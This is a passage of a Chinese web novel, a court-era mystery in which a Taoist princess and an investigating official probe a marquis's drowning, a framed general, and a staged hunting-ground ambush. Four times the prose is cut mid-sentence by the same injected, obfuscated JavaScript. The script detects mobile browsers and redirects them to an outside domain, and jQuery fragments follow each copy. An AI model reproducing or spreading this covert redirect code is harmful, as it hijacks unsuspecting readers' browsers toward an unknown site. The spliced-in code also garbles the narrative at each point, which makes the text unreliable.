他问:“平康侯最近有没有提及他家里发生了什么特别的事情?”
文夏说:“这倒没有。”
卫明展又详细地询问了那天晚上发生的事情。
他仍旧没能得到什么有用的线索。
符飏之死,和兴欢楼究竟有没有关系?
*
从兴欢楼出来,李霁和卫明展沿着南门河边,往符飏的遗体被打捞上来的地点走。
两处间隔很短,不到半炷香的脚程。
卫明展说:“平康侯遗体被发现的地点,是兴欢楼回平康侯府的必经之路。当夜平康侯醉酒而归,意识不清醒之下摔入河中,也不是没可能。”
他又想了想:“只是那封写着他的妻妾弑夫的信件比较蹊跷。郡主,你觉得那真是平康侯写的吗?”
李霁说:“确实是他的字迹无误。”
“绝无他人伪造的可能?”
李霁在这方面很有自信:“绝无。”
“难道平康侯提前预知自己会死,所以在死前写下这封信?一般人也不会这样干啊。按你对你表兄的了解,他是这样未雨绸缪的人吗?”
李
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920762|177071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
霁回答:“我和符表兄来往不算密切。他是什么性格,说实话,我不了解。不过,如果他确实知道危险将近,也知道凶手是他的妻妾,我认为他会先下手为强,现今我们见到的,应当是那群女人的尸体,而非一封无足轻重的信件。”
卫明展说:“确实。那封信件还得再想想是从哪来的。它既不是符飏生前所写,也不可能是符飏死后来信......”
他看了看漆黑的天空,忽然发现此时已经过了子时。而他和李霁从午间到现在,不停地辗转于嫌犯之间进行问询,都还没有吃过东西。
这种不规律的生活他倒已经习惯了,但李霁一个宫廷出身的千金小姐,居然还没有喊累。
她不会等会暗地里去皇上面前诉苦,说他虐待她吧?
卫明展于是说:“郡主,你饿吗?我请你吃饭吧。”
他想,这个表面功夫还是做一做,以后真问起来也有得说。反正郡主嘛,肯定不会纡尊降贵和他一起吃饭。
他没想到李霁笑吟吟地回答:“好啊。”
李霁还问他:“我们去吃什么?”
卫明展沉默了。他本来想自己回家吃点早上的剩饭就算了。
话已经说出口,他也没办法。
他带着李霁七拐八绕,到了城西竹楼巷子深处的一家小馆。
凌晨时分,街上已经没有什么店家开门,小馆也半掩着门,看起来已经休息。
卫明展推开门,喊了声:“童姨,来两碗阳春面。”
厨房里打瞌睡的女人钻出来,见到是卫明展,笑道:“好咧。”
卫明展和李霁坐下,顺嘴介绍:“童姨人可好了。她的儿子叫赵光,金吾卫下属的武侯。赵光呢,比我还累,经常得干活到深夜,饿了也吃不到好的——深夜回家怕吵醒家人,外头又几乎没有食店开门。童姨知道后,很心疼儿子,也觉得儿子的同僚们辛苦。最后她和自己两个寡居的姐妹在这开了家店,几乎全天不关门,就是为了让像她儿子这样的人,什么时候都能吃上口热乎乎的饭。我们这些人,都很感谢童姨。”
李霁听完,觉得很温暖,感慨:“真好啊。”
这时候阳春面端了上来,童姨让他两趁热吃,特地又对李霁说:“小姑娘吃多点,不够吃就跟我说。你这跟着卫大人,少不了奔波的。”
李霁笑着点头:“谢谢姨。”
埋头苦吃了一会,卫明展直抒胸臆:“我还以为郡主你会不习惯吃这些。”
李霁问:“你觉得我平时都吃些什么?”
卫明展说:“山珍海味。什么贵吃什么。”
李霁笑了,摇头:“我是道士,常年以素食为主。”
卫明展摸摸鼻子:“对哦。”
真的吗?他心里还是不能全信。他见过一些修道的贵族子弟,他们只是作作样子,空有道士之名,生活中仍旧是好逸恶劳,喜欢享乐。
李霁此时则想,卫明展也是高官之子,难道他就一点都没有享受过他父亲户部尚书的权力和财富吗?
她问:“卫大人现今住在哪里?可是尚书府?”
卫明展脸上浮现几丝厌恶的表情:“当然不是。我早已单独出来居住。”
卫明展没有家室,选了个小院居住,也只请了一个管家,生活得很简单。
李霁观察到他的神色。卫明展和家里的关系还是很不好。
她换了个话题:“卫大人,谢谢你带我来这。面条很美味。”
“那当然”,卫明展的脑子里又充满了面条,他喊道:“童姨,我要再来一碗!”
5. 哪位姨娘的嫌疑最大
十月廿一日。符飏被打捞上的第三天。
大理寺。
李霁跟着卫明展,准备去殓房查看符飏的尸体。
卫明展怕她被那里大大小小的尸体吓着,于是说:“郡主,我自己去也行。”
李霁说:“没事。能再见见符表兄也好。”
是吗?卫明展腹诽,符表兄现在可不长原来的样子了。
仵作姓陈,名三筒,从事这行已经四十余年,经验丰富。他已经早早在里面等候。
在水中浸泡数日,符飏的尸体膨胀,面部鼓大,眼球已经外凸,口唇也外翻,和曾经面若冠玉的倜傥侯爷像是两个人。
李霁看着这具皮囊,心里只想着,这是该好好修缮一番,才能让符飏的母亲再见他最后一面。不然对老夫人而言,也太残忍了。
卫明展见她像个没事人,于是专心于案件。他问陈仵作:“符侯爷因何而死?”
陈仵作说道:“死者口鼻有水沫,肺部也因吸入水而膨胀,可以判断死因是溺水而亡。此外,额骨处有撞损伤,造成内部头骨折断,创口处有青苔泥沙,或许是河边的硬物所致。死者应当是生前遭受击打伤,而后坠水而亡。”
“硬物?”卫明展回忆现场的情况。符飏遗体被打捞处,不远处有一座小桥,靠近岸边的桥墩浮出了水面:“桥墩?”
陈仵作说:“极有可能。”
齐丰年在一旁说道:“我们第一日查验现场的时候,就发现那一块地面青苔众多,极易摔倒。所以这案子就是符侯爷醉酒之后,路过那处时,踩到青苔,不慎摔倒,撞到了桥墩,之后意识模糊间溺水身亡。不幸的意外。头儿,现在我们只要找出是谁在背后弄虚作假,写了那封信,就可以了吧?”
卫明展此前也认为是意外。南门河的这种失足落水的意外,并不少见。但此时他却觉得蹊跷:“小丰,我记得桥墩上并未发现血迹。”
齐丰年说:“是。不过有可能被河水冲洗掉了。”
竟然是意外吗?李霁有些失望。她问:“溺水而亡,一般两至三日就能浮出水面。可是符表兄是五日之后才被他们从河底打捞起来。这又是什么原因?”
齐丰年回答她:“这我知道!因为河中淤泥。侯爷沉入河中后,被淤泥陷住,难以上浮。”
卫明展问:“老陈,符飏只有一处头骨骨折,还是多处?”
陈仵作则露出一个狡猾的笑容,他拍拍齐丰年的肩膀:“小齐,你这还得向卫大人学习啊。别动不动的,就说是意外。”
齐丰年不明所以:“什么啊......”
陈仵作道:“大人的怀疑没错。我查验了几遍,发现死者的头骨骨折不止一处,虽都集中于额骨,但周围有几处深浅不一的撞损伤处。”
“如果死者意外摔倒,撞到桥墩或者其他,只会留下一处或者两处撞损伤。但现在的情况显然不是,多处伤处表明,死者是被他人连续推着撞击头部。”
“这不是意外。而是谋杀。”
李霁的注意力瞬间被吸引。符飏之死确实另有蹊跷。
陈仵作又说:“根据损伤程度,袭击者力气极大,很可能是习武之人。”
卫明展和李霁对视。
习武之人。符飏的后院里谁是习武之人?
符合条件的只有将门之女罗如瑛。
*
没过多久,卫明展又得到另一个消息。
齐丰年回禀,他们在盘问平康侯府的侍从时,有位叫弄蕊的丫鬟,说她曾听过符飏和罗如瑛争吵。
罗如瑛杀符飏的动机似乎呼之欲出。
卫明展和李霁赶到平康侯府。
弄蕊十三四岁,在二姨娘罗如瑛的院子里当差,外表瞧着还是个稚嫩的小女孩。
她的声调和叙事方式却又已经成熟:“八月十五那晚是我守夜。侯爷罕见地来了我们二姨娘房里。但没待多久,我就听到他们吵了起来。姨娘说侯爷忘恩负义,该下十八层地狱。侯爷倒不生气,还在安抚姨娘。姨娘不肯罢休,又继续骂了好一会,最后说侯爷如果不想死,便再不要出现在她跟前。侯爷于是便离开了,倒没怎么生气。”
“怎么记得这样清楚?”卫明展问。
弄蕊说:“二姨娘温柔,很少有这样发怒的时候。所以我特别记得清。”
“这件事发生之前,二姨娘有没有什么异常?比如见了什么特别的人。”
弄蕊摇头:“萍儿姐姐才是二姨娘的贴身丫鬟。她比我清楚这些。”
卫明展把赏银给了弄蕊。
他接着把萍儿找到。
萍儿却口风严密。对于罗如瑛和符飏争吵的事,她说不清楚,没听见。再问其他,也一概答不知道。
卫明展知道了她是一个忠仆。那么忠仆最见不得什么?当然是主人的利益受损。
卫明展开始话里话外编排着罗如瑛的不是,仿佛已经认定罗如瑛就是杀夫的恶妇。
萍儿被惹急了,终于忍不住:“你懂什么!我家小姐对他仁至义尽!他就是死了,也是罪有应得!”
这个“他”指的自然就是符飏。
卫明展还想继续挖,可惜萍儿已经反应过来自己失言,什么话都不肯多说。
卫明展直接去审罗如瑛。
罗如瑛很平静:“八月十五那晚?我是和侯爷吵了起来。因为我对他很失望。”
“为什么?”
“女子对男子失望,还能为了什么?当年我对符飏一见钟情,甚至不顾他已经是有妇之夫,也要嫁到平康侯府。符飏也信誓旦旦,说我是他的一生所爱。”
“可等我父亲蒙冤获罪,家中一朝失势,符飏对我的宠爱就日益减少。最后我从平妻变成了二姨娘。”
“这些都算了,毕竟已经过了许多年。”
“但八月十五那晚,符飏来祈求和我重修旧好——当然不是因为他又爱上了我,而是因为他需要我替他牵线搭桥,帮他联系我的侄女定之。”
罗家在十年之前获罪,罗父撞柱而死,余下族人贬谪南方。
不过今年年初,罗家又重新被启用。
罗如瑛的兄长罗如涛和侄女罗定之大败蛮族,为本朝收回失落已久的安南地界。
皇帝大喜,召他们回朝述职,封罗如涛为襄国侯,晋罗定之为骠骑将军。
罗家一时风头无两,连带沉寂已久的罗如瑛都成了淮京城的热门人物。姑侄两代,同是闻名
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920763|177071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
内外的女将领,一位镇护漠北,一位平定南疆,多是一段美谈。
只是不知道现在深居高墙的罗如瑛再见到罗定之,会不会怀念起自己当年意气风发、奋勇杀敌的模样。
罗如瑛接着说:“我不再是十几岁的年纪,我以为我早明白了他对我的爱多么转瞬即逝。可是当他又变成我最初遇见的那个符飏,我还是忍不住相信他。”
“但他甚至已经不愿意伪装得太久。我们谈了不过一柱香,他便开始要我为他约见定之。原来他爱我的前提,一直都是我和我的家人能为他所用。”
“可是我曾经是那样全心全意地爱他啊,哪怕被他冷落了将近十年,也还是怀有希冀。他为什么能这样对我?我越想越不甘心,于是所以那一晚,我将这些年的怨气都朝他发了出来。”
卫明展和李霁听完,不约而同地都沉默了一会。
罗如瑛倒是很主动地又多说了一些:“我知道你们怀疑我。但我没有杀他。他是有负于我,但我当年执意嫁入侯府,又何尝不有愧于卢夫人?我只当这些年的一切都是因果。或许你们不相信,但得知符飏死了,我并不感到开心或者解脱,我只觉得十分难过。”
“是吗?”卫明展问。
她道:“当然。他人已经走了,什么怨啊、仇啊,都散了。我现在想起符飏,只会想起我和他一起在春日里漫步谈天,在围场里追逐狩猎,在这间小院里煮茶泼酒的日子......说到底我和他之间没有什么深仇大恨。只是我足够爱他,他却不爱我而已。这样的事情,难道不是随时可能发生在普天之下的每一处后宅中吗?”
“况且很长一段时间,我都是平康侯府唯一的姨娘。符飏从没说过休弃我。我在府里锦衣玉食,生活过得比许多人都舒适。这已经是一个男人能够给一个他不爱的、也没有利用价值的女人最大的优待了。”
李霁却忽然问:“你当时嫁给符飏,仅仅是因为爱他?甚至为了他而愿意放弃回到军中、放弃建功立业的机会吗?”
罗如瑛笑了笑:“郡主,你还年轻。女人再怎么样,也是女人。我年轻时那些不着边际的梦想和行为,都是虚妄。我从不后悔成为男人的妻子,我只恨我自己选了符飏这个负心汉。”
她看向窗外的景色:“我如果没有练武,或许能嫁给一个更好的男子。”
李霁辨认着她的神色,想要看看她到底说的是真话,还是谎言。
但她一时拿不准。她忍不住说:“可是如果你不嫁给符飏,你就能成为像你的侄女、骠骑将军罗定之一样的人物。史书青笔,千秋万代,都会歌颂你的姓名和功绩。”
罗如瑛不为所动,甚至有些烦厌:“那又如何?定之的处境,一定就好吗?你没有听见人们也在议论,她这样的女将军,一点也不像女人,未来会很难嫁出去。她若是因此遇不上命定之人,不能体会爱情,那又该多可惜。如果定之在我身边长大,我一定劝她千万别习武。”
卫明展看见李霁的神色慢慢沉下来。一向沉稳的夷安郡主,似乎要被罗如瑛的这些话激怒了。
不过很快,李霁恢复如常,她笃定地说:“不对。罗姨娘,你在骗我。你似乎是在说服我们相信你很爱符飏。为什么?”
6. 贪腐将军喊冤
面对李霁的质疑,罗如瑛无奈说道:“我爱符飏之心,人人皆知。你为何不信?”
李霁说道:“我没办法相信。”
罗如瑛:“随你。”
“只不过”,罗如瑛说:“郡主这般没头没尾地问我这些情情爱爱的问题,又拿不出证据来......虽然同为女子,我也理解,我们的眼界便是如此,但事关重大,或许您应该放手让卫大人来查案。”
这算人身攻击吗?
卫明展倒没觉得李霁问的问题有什么不对。去了解罗如瑛和符飏之间的关系好坏很重要。
李霁笑了笑,没有因此生气:“知道了。罗姨娘,没必要再试图惹怒我。无论如何,我们都会接着查你。”
罗如瑛回看她,作惊慌状:“我只是实话实说,没有别的意思。我怎么舍得对符飏动手?”
李霁没理会,而是对卫明展道:“卫大人,恕我方才多言。你接着问吧。”
不过卫明展也没有什么能问的。他也察觉到,罗如瑛身上还藏着秘密。但他们现今还无证据。
*
离开了平康侯府,卫明展问李霁:“为什么你不信罗如瑛说的都是真话?”
李霁说:“她一开始说,她对符飏一见钟情。这不对——罗如瑛最开始瞧不上符飏这类贵族公子的做派,也不愿意给别人做平妻。符飏倒是表现得很喜欢她,积极追求。两个人的关系一直都是符飏单方面示好。据说是猎场相救事件发生没多久,罗如瑛便嫁到了平康侯府。”
卫明展说:“这事保真吗?”
李霁说道:“当然。”
李霁那一年十二岁,已经是各类交际宴会上的常客。加上李霁的父亲掌管皇室的细作机构校情司,她从小耳濡目染,也喜欢观察周围的事和人。
罗如瑛是女将军,太不同寻常,所以李霁对她很关注。
罗如瑛在各种宴会曾数次说过,她不会嫁给符飏做平妻,她必然是要回到北疆,回到军营里,哪怕是在沙场上孤身终老,她也乐得其所。
李霁都听了进去,她觉得罗如瑛和符飏的追求天差地别,这两人肯定不会在一起。
不过在罗如瑛和符飏围场”定情“事件发生之前,李霁就因故离开了都城,错过了后续的事情发展。
后来李霁在堂妹襄宁公主的来信中得知,罗如瑛最后嫁给了符飏,李霁惊讶得差点失手打翻了烛台。
卫明展眉头微皱:“所以罗如瑛是因为符飏救了她,所以对他生出好感,然后嫁给了他做平妻?”
他不理解:“难道这就是爱情?”
李霁仍旧觉得不太对劲:“罗如瑛比世上很多人都要看重自我。她甘愿放弃自由,和别人共享丈夫,肯定有内情。”
卫明展说:“我们目前还没有证据能证明罗如瑛是凶手。如她所言,她确实缺乏一个强有力的作案动机。”
“嗯......”卫明展思考着,忽然问:“罗家当年是因为什么被贬?”
“被指控贪污军饷和杀害战俘。罗将军为了自证清白,撞柱而亡。皇上感念罗将军功德,也就放过了罗家的其他人,把他们送去南方戍边。”
卫明展仿佛抓到了什么:“罗如瑛说她父亲被冤枉。或许里头有什么猫腻。我去查查当年的卷宗。”
*
卫明展很快就找到当年镇国将军罗亮贪腐案的卷宗。
关键证据是藏在镇国将军府书房的一本账本和多封信件。账本记载着罗亮近年贪污军饷和向边境百姓额外课税的详细数目,信件内容则包含了罗亮谋划贪腐军饷的计划。
经过字迹比对,信件确是罗亮所写。
皇帝还是给了罗亮一个辩解的机会。
罗亮披发素衣,入宫朝见。
他跪拜皇帝,只说了三个字:“臣无罪。”
随即撞柱而亡,以死明志。
罗亮年少时是皇帝的伴读,后来又成为帮他征战沙场的良将。
据说皇帝因为罗亮之死,哀恸不已,甚至于落泪。
皇帝不再深究此事,只是降下旨意,贬谪罗家剩余人及其旧部,将他们派去驻守南疆。
罗亮贪腐案就此揭过。
李霁说:“罗将军不必死,却又必须死。”
卫明展明白她的意思。
凭借罗亮的功绩,贪腐不至于是死罪。但皇帝对罗亮已然起疑,罗亮先发制人,用死以证清白,这样方能最大程度赢得皇帝对罗家的谅解。况且罗亮这样有血性的人,不会为了苟活而认下罪名。
李霁说:“我前几年去北方,仍能看见边民们颂扬罗将军的恩德。军中上下,将士们也都十分敬仰他。以罗将军的品行,他不会贪腐。”
卫明展的侧重点比较奇异:”郡主你怎么会去到北方?”
李霁说:”我跟随师父前去拜访玄化真人,交流道法。”
除此之外,皇帝还给了她一件任务,让她暗中调查驻守北疆的白将军有无异心。李霁不过是个修道的郡主,白将军根本不提防她,也想不到她是暗使。李霁最终没有查到白将军有异心,不过发现了他每日只顾享乐,不居安思危,对于军队和边防的管理疏忽,甚至没能意识到自己的副将和爱妾是乌氏的细作。最后白将军自然而然被免职。
当然,这些事情都是秘闻,不足为卫明展道也。
卫明展说:“原来如此。你去的那时可有碰上乌氏来犯?我记得十年前罗将军死后,乌氏蠢蠢欲动。虽然皇上马上御驾亲征,将乌氏重创,但我听闻他们改不了习性,总是爱侵扰边境。”
李霁说:“碰上过两次。乌氏一族一日不除尽,边境的百姓就不能正常生活。”
卫明展叹了一口气:“说不定如果罗将军还在,情况会不一样。”
他随即又回到罗亮贪腐案上:“罗将军贪腐的证据确凿,当年想必他有口难辩。不过这些也未必是真,我们得再看一遍,看看当年的卷宗有无遗漏之处。”
他拿出贪腐案证据中的信件开始对比字迹,想起符飏案里的鬼魂之信,嘟囔着:“又是信件。”
直到月上柳梢,两人还在寻找蛛丝马迹。
卫明展猛灌一壶茶下肚,又叫来齐丰年再泡一壶。
齐丰年问:“头儿,你今晚不睡了?”
卫明展说:“查不出东西,怎么睡?”
齐丰年使眼神,让他考虑一下李霁,意思是:你不睡可以,但别让人郡主也陪着你一起不睡觉吧。
卫明展差点忘了李霁还在这。他看向她,只见她盯着罗亮的信件,纹丝不动。
他又仔细看,李霁的眼睛还睁着。他还以为她睡着了。
卫明展想了想,难得发善心:“天色已晚,郡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920764|177071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
主先回去休息吧。有进展了我派人去王府知会你。”
李霁却没应声。
卫明展讨了个没趣,撇撇嘴,打发齐丰年继续泡茶,自己也继续忙活。
“这些信是伪造的。”忽然之间,李霁说道。
卫明展马上看过来:“怎么说?”
李霁不紧不慢:“问题在于下笔力度。”
“由于体型、力量之间存在差异,不同人的下笔力度也会有所差异。”
她拿起一张罗亮给友人的信件:“比如罗将军身高八尺半,魁梧壮实,下笔苍劲,字迹几乎要透过纸背。”
她接着又拿起贪腐案中搜查到的信纸:“这一张细看之下就有所不同。虽然同样下笔有力,但有些字的深度就明显比罗将军之前的字要弱。”
卫明展已经走到她身旁,连忙观察李霁所指出来的几个字:“之”“一”......
确实如她所言,贪腐案的信件上字迹更浅。
“你说得对!所以罗将军确实是被人所冤枉。”卫明展的语气藏着兴奋。
他又感慨:“当年要是请你去查案,罗将军或许还有翻盘的机会。”
李霁却摇头:“你以为当年没有请过都城最好的书画师去辨认字迹吗?我能看出来的事情,他们当然不会忽略。”
“那为什么......”卫明展话说到一半,便想明白了。
有动机、有能力去陷害镇国大将军的人屈指可数,而这些人权势之大,难以想象。
他们已经能够伪造字迹、盖上罗亮的私印,又放到罗亮的书房暗格里,当然还可以收买办案官员和书画师。就算这些都行不通,他们恐怕还是有别的招数要置罗亮于死地。
皇帝也未必不知道此中有诈。他或许也正想借此敲打功高震主的罗家,只是没想到罗亮因此而自尽。又或许罗亮去世,本来就是一件哀伤却有益的事情。
卫明展垂头丧气,为这些于社稷无用的内斗而感到愤懑之时,忽然间却灵光一闪。
他跑到另一张桌子上,找出符飏案的那封鬼魂信件,将其中“之”字和罗亮贪腐案的证据信件对比,深浅竟是一致。
李霁和他对视一眼,两人心照不宣地又翻出符飏写的其他信件进行对比。
不久之后,卫明展得出结论:“伪造罗亮贪腐信件的人、在符飏死后写信的人、和符飏本人,字迹一致。虽然不知道符飏怎么在死后还能写信,但这三个人是同一个人。”
“也就是说,当年是符飏诬陷了罗亮。”
卫明展的手指敲着桌面:“这不对啊......罗亮是符飏的岳父,符飏为什么做出这样的事情?”
李霁回忆:”当年罗家一失势,北疆驻军的兵符就到了五皇子的母家表兄白佑天手里。”
她接着道出其中关联:“符飏除了是罗亮的女婿,还是五皇子的羽翼。符飏当年求娶罗如瑛,想必也是希望借此和罗家结盟,增加五皇子的势力。可问题是,罗将军性格耿直,不喜欢拉帮结派之事。”
“以我猜测,大概是因为符飏劝不动罗将军参与皇储之争,所以决定陷害他,换取五皇子阵营的人拿到兵符。”
卫明展有些头疼。牵扯到皇室,可不是好兆头。
他把注意力转移到符飏案上:“不管怎么说,我们找到罗如瑛杀害符飏的动机了。”
7. 英雄害美
平康侯府。
罗如瑛的侍女萍儿自从被卫明展盘问过后,一直都很焦虑。
她忍不住问:“小姐,我们要怎么办?”
罗如瑛安然不动:“怕什么。他们又没有证据。”
“可是那个卫大人看起来不好相与,夷安郡主更是一副查不出真凶就不罢休的模样。万一他们查到我们身上了怎么办?我们真能瞒得过他们吗?”
萍儿絮絮叨叨:“小姐,我早说过,要你好好考虑。小小姐已经在调查他,我们实在不该急着出手......”
罗如瑛要她坐下,声调平静:“我只后悔我没有早些动手。”
“至于郡主和卫明展......我就是要他们怀疑我。他们要找我的动机,必定会查父亲当年的事情。说不定借此机会,父亲能够沉冤得雪。”
“但倘若小姐你被牵连其中,那该如何是好?”
罗如瑛笑起来,却没多少高兴的意味:“萍儿你忘了,我能证明,我杀不了符飏。”
*
十月廿二日。
校情司。
李霁一头扎进了浩如烟海的籍录中。
她在寻找所有关于罗如瑛的信息。
尤其是顺宏十六年——符飏和罗如瑛成婚那年的记录。
校情司是皇室的细作机构,监察四方,将所能得知的事情编录成册,存储在这个隐蔽的地宫中。
校情司原是李霁的父亲老魏王在秘密管理。李霁跟在父亲身边,对于校情司的事情很熟悉,还以道士的身份做掩护去往各地,协助拿到过许多机密信息。
老魏王身故后,皇帝便把校情司交给李霁。她足够忠诚,能办好事情。
而且她是个终身不婚的女冠。这是多好的障眼法,没人能想到执掌细作机构的会是一个这样的人。最好的一点是,她只是个女人,还没有丈夫,不会具备结党私营的野心。
不过皇帝算错了一点。李霁不会甘心成为无名之辈。
李霁此时正翻到符飏在猎场相救罗如瑛一事的记录。她隐约记得此事背后有隐情,不过具体的还需要再确认。
记录中显示,罗如瑛追逐一头灰熊进入林中,遭遇刺客埋伏,被袭击致重伤,幸好符飏及时赶到,杀死刺客,罗如瑛才保住一命。
刺客身上的符令和纹身表明他们来自漠北的巴达部。当年本朝与巴达部之战,本朝大获全胜,而主将正是罗如瑛。
此事看起来是巴达部因恨报复。
时任大理寺少卿谢若诚负责调查此案。他审问幸存的刺客,最终发现他们并非巴达部人,而是吏部尚书常印豢养的杀手。
常印的儿子常耀曾投军,在罗如瑛手下任职,因虐害边城百姓而被罗如瑛军法处置,最终身首异处。
常印也承认了自己的罪行。他要为儿子报仇,所以设计了这一场刺杀,想借巴达部之名,取下杀子仇人罗如瑛的头颅。
较之卷宗,校情司的记录还提及了两件鲜为人知的事情。
一是常印的幕僚陆耳是此事的谋划人和执行者,却在事发后人间蒸发,不知所踪。
二是罗如瑛在此事后重伤昏迷多日,根骨受损,武功尽废,还落下顽疾。
*
快到晚间,李霁去了大理寺。
卫明展见到她,兴致勃勃:“郡主你来了。我刚想去找你。你猜我们发现了什么?”
他马上自问自答:“猎场刺杀案里,负责谋划和执行的是常印的一个幕僚,陆耳。而陆耳原先是符飏手下的细作。”
“以我猜测,符飏当年追求罗如瑛未果,开始走歪门邪道。符飏让陆耳去当常印的幕僚,再利用常印爱子心切的心情,怂恿他设计猎场刺杀,取罗如瑛的性命。这样一来,符飏就可以及时出现,英雄救美,让两人的感情得以升温。”
这是小人害美吧。罗如瑛可是因此事而重伤。
李霁心里涌现出一股愤怒之情。
罗如瑛最骄傲于自己的武功,符飏也知道,却偏要毁掉这些以得到她。
这时卫明展又补充:“而且常印和符飏可是政敌。他这一招称得上是一石二鸟,除掉了常印,还赢了得罗如瑛的心。”
她冷冷地说:“符飏是个自私的疯子。”
卫明展也点头:“心肠太狠了。”
李霁问他:“大人是如何知道陆耳之事?”
校情司对此事并无记载,卫明展又是怎么发现?
卫明展说:“平康侯府被封锁后,我派人去符飏的书房里查找有无可疑的信件或线索。”
“我手下的一位小吏林胥,发现了书房里发现一封顺宏十五年的信件,署名已经模糊,看不清是谁。”
“对方写信恭祝符飏新春吉祥。其中有一段写道:陆耳可合侯爷心意?如若其不可用,可就地处理,我等再送一位细作来。”
卫明展继续说:“由此可知,陆耳是对方送来给符飏驱使的细作。”
李霁说:“可惜不知道对方是谁。”
卫明展:“对啊。对方应该是某个培养细作的阻止头目,也是个不法之徒。”
李霁暗自把这件事记在心里。外头居然还有一个不为人知的细作组织。她可得好好查查。
卫明展又回到了符飏案上,喋喋不休:“这样一来,罗如瑛要杀符飏的动机更充足了。符飏对她的感情从头到尾都是假的,甚至不惜伤害她,而后又陷害她的父亲,害得她家庭破碎。”
“而且只有萍儿能证明罗如瑛在符飏身亡那晚在房间中。萍儿是她的丫鬟,肯定会为了主人撒谎。罗如瑛的嫌疑很大。她有时间、有能力、有动机。”
李霁听完这段分析,告诉他:“不是罗如瑛。”
“啊......?”卫明展看着她,不知所云。
李霁如实道:“罗如瑛在猎场里受了重伤,武功尽废。她杀不了符飏。”
卫明展愣了一阵。武功尽废?怪不得罗如瑛看起来没什么活力。他原本这是因为罗如瑛想故意隐藏实力,或者是被平康侯府的生活磋磨了。
所以罗如瑛没有能力杀死符飏。
他的推断是错的。
他不甘心:“那她的哥哥罗如涛和侄女罗定之呢?他们都会武功,也都和符飏有杀父之仇。”
李霁也摇头:“卫大人,我已经查过,这一个月他们两人和罗家军都在都城外的军营操练,中途未曾返回。”
难道凶手不是罗家人?那岂不是这两天做的一切,对于破获符
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920765|177071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
飏案都没什么用?
卫明展心态好,很快又想:“不管怎么说,我们查明了罗将军贪腐案和猎场遇刺案的始末。罗家和符飏之间确实存在深仇大恨。虽然现在看来,罗家人要么没有时间,要么没有能力犯案,但这也是一条线索。”
“我们更了解符飏,也更了解罗如瑛。他们的过往慢慢变得清晰,这是好事情。我们离真相会越来越近。”
卫明展自己说着说着,又觉得浑身充满干劲——世上肯定没有他破不了的案。
李霁在一旁看着他从高兴到失望又到像打了鸡血的起起伏伏的变化,觉得很神奇。
她问:“卫大人,你平时都这样吗?我的意思是,你擅长看见事情好的一面。”
卫明展说:“这个,主要是往坏处想又没用。不如想点好的,自己还能开心。”
他接着话锋一转,狐疑道:“郡主,你怎么知道罗如瑛受过重伤?我没有找到相关的信息,罗家和符家应该都有意瞒着此事。”
李霁说:“是,当年因为担心影响军中士气,所以知情者都被勒令不得外传罗如瑛受重伤一事。”
她当然不能把校情司的事情说出来:“我之所以知道,是因为我今早进宫向皇后娘娘送丹药,她得知我们怀疑罗如瑛后,就将此事告知了我,让我们别白费功夫。”
李霁不担心这个谎会被拆穿。一方面卫明展不太可能去专门向皇后问这件事,另一方面,问了也无所谓,皇后娘娘自会为李霁遮掩。
卫明展听完,觉得也合理:“皇后娘娘仁德。”
他又说:“这两天这么忙,郡主你还有时间炼丹?你这也太爱干活了。”
李霁回:“职责所在。只要皇上和皇后能安健,再累都是应该的。”
实际是,炼多点丹,上头就能多拨点钱给圣清宫。
听到她打官腔的回答,卫明展也跟着说:“哎呀,有郡主这样忧国忧民的英才,实在我朝之幸。”
李霁假装听不出来他的阴阳怪气:“哪里哪里。还是卫大人雄才大略,堪称当朝典范。”
卫明展很快继续不下去了:“停。别这么说话了。正常一点,正常一点。”
他思维跳跃,又说:“郡主你会不会炼那种能让人精神抖擞、可以抛弃睡眠的丹药?”
案情不明了,他实在不愿意去休息。但长期彻夜不睡,他的头脑又会变得迟钝。
“会啊。”李霁说。
卫明展追问:“什么丹啊?给我来两颗行不行?”
李霁摆手:“你这丹比较特别。我得额外花时间研究。所用到的药材也不同寻常。这样,你先给我一千两定金,我回去准备准备。”
